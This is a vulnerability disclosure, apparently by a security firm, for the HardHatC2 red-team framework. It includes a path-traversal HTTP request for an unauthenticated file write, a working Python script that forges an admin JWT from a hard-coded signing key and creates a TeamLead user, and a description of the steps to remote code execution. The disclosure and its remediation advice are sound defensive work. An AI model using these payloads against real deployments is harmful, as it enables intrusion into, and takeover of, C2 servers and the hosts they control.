HardHatC2 0-Days (RCE & AuthN Bypass)

Table of Contents
- Vulnerability 1: Arbitrary File Write
- Vulnerability 2: Authentication Bypass
- Vulnerability 3: Remote Code Execution (RCE)
- Conclusion and Recommendations
Overview
HardHat C2 is a cross-platform, collaborative Command & Control (C2) framework developed in C#, designed primarily for red-team engagements. Despite its feature set and usability, a short security assessment revealed several critical vulnerabilities that allow unauthenticated attackers (hereafter “Attacker”) to write arbitrary files, bypass authentication, and potentially achieve remote code execution (RCE).
- Official Repository: https://github.com/DragoQCC/HardHatC2
Below, we detail each vulnerability, the root causes, and proof-of-concept (PoC) exploits.
Vulnerability 1: Arbitrary File Write
Background
An unauthenticated Attacker can exploit a combination of Broken Access Control and Path Traversal vulnerabilities in HardHatC2’s /managers/addDB
API endpoint. This allows writing arbitrary .pfx
files at any location on the server’s filesystem.

Proof of Concept
Below is an example HTTP request that demonstrates writing a .pfx
file into /app/TeamServer/wwwroot/
:
POST /managers/addDB HTTP/2
Host: hardhatc2.local:5000
Content-Type: application/json
Content-Length: 741
[
{
"id": "33",
"creationTime": "2025-01-19T03:29:13.202Z",
"name": "../../../../../app/TeamServer/wwwroot/sth_pentest",
"connectionPort": 4444,
"connectionAddress": "1.3.3.7",
"bindAddress": "0.0.0.0",
"bindPort": 8089,
"isSecure": true,
"certificatePath": "string",
"certificatePassword": "string",
"c2Profile": {
"name": "MalProfile",
"desc": "string",
"urls": [
"http://1.3.3.7/1"
],
"eventUrls": [
"http://1.3.3.7/2"
],
"cookies": [
"string"
],
"requestHeaders": [
"string"
],
"responseHeaders": [
"string"
],
"userAgent": "string"
},
"type": 0
}
]
Because of the name
field value ../../../../../app/TeamServer/wwwroot/sth_pentest
, the application creates sth_pentest.pfx
at /app/TeamServer/wwwroot/
.
Example Verification:
root@2978e8b6652a:/app/TeamServer/wwwroot# ls -lha
total 16K
drwxrwxr-x 2 root root 4.0K Jan 19 06:27 .
drwxrwxr-x 1 root root 4.0K Jan 19 06:27 ..
-rw-rw-r-- 1 root root 0 Jan 19 00:01 .keep
-rw-r--r-- 1 root root 2.3K Jan 19 06:27 sth_pentest.pfx
Root Cause Analysis
Most API endpoints in the HardHatC2 controllers are protected via a security annotation like[Authorize(Roles = "Operator,TeamLead")]
.
namespace HardHatCore.TeamServer.Controllers
{
[Authorize(Roles = "Operator,TeamLead")]
[ApiController]
[Route("[controller]")]
public class MiscController : ControllerBase
{
//post to add a new credential
[HttpPost("/addcred" ,Name = "AddCredential")]
However, two endpoints—LoginAsync
and addDB
—were explicitly annotated with [AllowAnonymous]
, making them accessible without any authentication.
LoginAsync
is fine as we need to allow anonymous users to use a login function, but what is about addDB
?
File: /HardHatC2/TeamServer/Controllers/ManagersController.cs
[AllowAnonymous]
[HttpPost("addDB",Name="AddManagersFromDB")]j
In short, the root causes are resided in:
- Broken Access Control: The
addDB
endpoint does not restrict unauthenticated use. - Path Traversal: The user-supplied
Name
parameter is written directly to the filesystem path (../../../../../app/TeamServer/wwwroot/...
) without sanitization, allowing an Attacker to write files to arbitrary directories.
Relevant code snippets:
File: /HardHatC2/TeamServer/Controllers/ManagersController.cs
[AllowAnonymous]
[HttpPost("addDB", Name="AddManagersFromDB")]
public IActionResult AddManagersFromDB([FromBody] List<Httpmanager> _managers)
{
foreach (Httpmanager _manager in _managers)
{
_manager.Init();
_manager.Start();
return Ok();
}
return BadRequest();
}
File-writing logic:
File: /HardHatC2/TeamServer/Models/Managers/HttpManager.cs
public override async Task Start()
{
if (IsSecure)
{
// ...
await GenerateCert();
}
}
private async Task GenerateCert()
{
// ...
string CertificateDir = $"{Environment.CurrentDirectory}{DirectorySeperatorChar}Certificates{DirectorySeperatorChar}";
File.WriteAllBytes($"{CertificateDir}certClient{Name}.pfx", exportableCertificate.Export(X509ContentType.Pfx, password));
}
Because Name
can be an arbitrarily crafted directory path, the file is written outside the intended certificate directory.
Vulnerability 2: Authentication Bypass
Background
During normal startup, HardHatC2 automatically generates a secure password for the HardHat_Admin
account. This password is printed to the console a single time.

However, HardHatC2 relies on a static JWT signing key that allows unauthenticated creation of valid access tokens for any role.
Technical Details
- Hard-Coded JWT Signing Key:
File: /HardHatC2/TeamServer/appsettings.json
"AllowedHosts": "*",
"Jwt": {
"Key": "jtee43gt-6543-2iur-9422-83r5w27hgzaq",
"Issuer": "hardhatc2.com"
- Automated Account Setup: HardHatC2 prints:
hardhat_server | [**] HardHat_Admin's password is rSc7$TU@Qrc4LM?1tv@Z, make sure to save this password, as on the next start of the server it will not be displayed again [**]
hardhat_server | [**] Default admin account; SAVE THIS PASSWORD; it will not be displayed again [**]
hardhat_server | Username: HardHat_Admin
hardhat_server | Password: rSc7$TU@Qrc4LM?1tv@Z
Although the HardHat_Admin
password may be complex, the static JWT key overrides this security measure by allowing an Attacker to craft their own valid tokens.
Proof of Concept
Below is a Python script demonstrating how an Attacker can create a valid Administrator and TeamLead JWT without knowing the legitimate credentials. The script builds a JWT containing equivalent claims for the HardHat_Admin
user and signs it with the hard-coded key (jtee43gt-6543-2iur-9422-83r5w27hgzaq
):
# @author Siam Thanat Hack Co., Ltd. (STH)
import jwt
import datetime
import uuid
import requests
rhost = 'hardhatc2.local:5000'
# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)
# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "sth_pentest",
"role": "TeamLead",
"username": "sth_pentest"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
This request demonstrates how the Attacker forges a token that passes server-side verification, thereby bypassing all authentication checks.
$ python exploit_jwt.py
Generated JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiMzUwMzIyYjgtZDAzYy00ZjIzLTlkZjctYmE5MWQyMzRhMTlhIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3MzcyNDQ3ODgsImV4cCI6MTczOTY2Mzk4OCwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.EyUG0Y3DepDma4ahRnkAdMd6He7yavb6YPqNe_fzj80
/home/user/.pyenv/versions/py312/lib/python3.12/site-packages/urllib3/connectionpool.py:1099: InsecureRequestWarning: Unverified HTTPS request is being made to host '127.0.0.1'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
warnings.warn(
User sth_pentest created
Vulnerability 3: Remote Code Execution (RCE)
After obtaining a user with TeamLead
role using the Authentication Bypass vulnerability, an Attacker can interact with implants and C2 host itself to execute operating system commands.
URL: https://hardhatc2.local:7096/Implants

Within the Implant Interact -> Terminal interface, the Attacker can issue arbitrary commands that run with root privileges (by default configuration) on the Victim C2 host or implant hosts.
High-Level Exploit Scenario:
- Attacker bypasses authentication (as shown above) and logs in to HardHatC2 with elevated privileges.
- Attacker navigates to the “Implant Interact” -> “Terminal” tab.
- Attacker issues OS-level commands, which the HardHatC2 host itself and its agents (the Victim implant) may execute them as
Administrator
orroot
.
Because HardHatC2’s design inherently allows advanced post-exploitation actions, any compromise of the platform or associated credentials can directly lead to full system takeover on the deployed implant systems.
Conclusion and Recommendations
HardHatC2 is a valuable tool for red-team operations; however, these vulnerabilities highlight critical lapses in access control, path handling, and key management.
We recommend the following:
- Do Not Expose Port 5000 Externally
By design, port 5000 must be deployed local/internal. Confirm that it remains closed or protected by appropriate network segmentation or VPN access.
2. Enforce Authentication on All Endpoints
- Remove
[AllowAnonymous]
fromaddDB
or ensure it is behind proper authentication checks at/HardHatC2/TeamServer/Controllers/ManagersController.cs
.
3. Sanitize User Input
- Implement strict path validation to prevent path traversal attacks when writing to the file system in the
GenerateCert()
function at/HardHatC2/TeamServer/Models/Managers/HttpManager.cs
.
4. Adopt a Secure JWT Key Management Process
- Do not hard-code keys in the repository or configuration files. For development or testing purpose, use a securely generated random signing key in the
/HardHatC2/TeamServer/appsettings.json
.
By addressing the vulnerabilities described here, organizations using HardHatC2 can significantly improve the security posture of their red-team operations.
Disclaimer:
All findings in this article are intended solely for educational and defensive purposes. Always ensure you have explicit permission before testing or using these tools against any systems.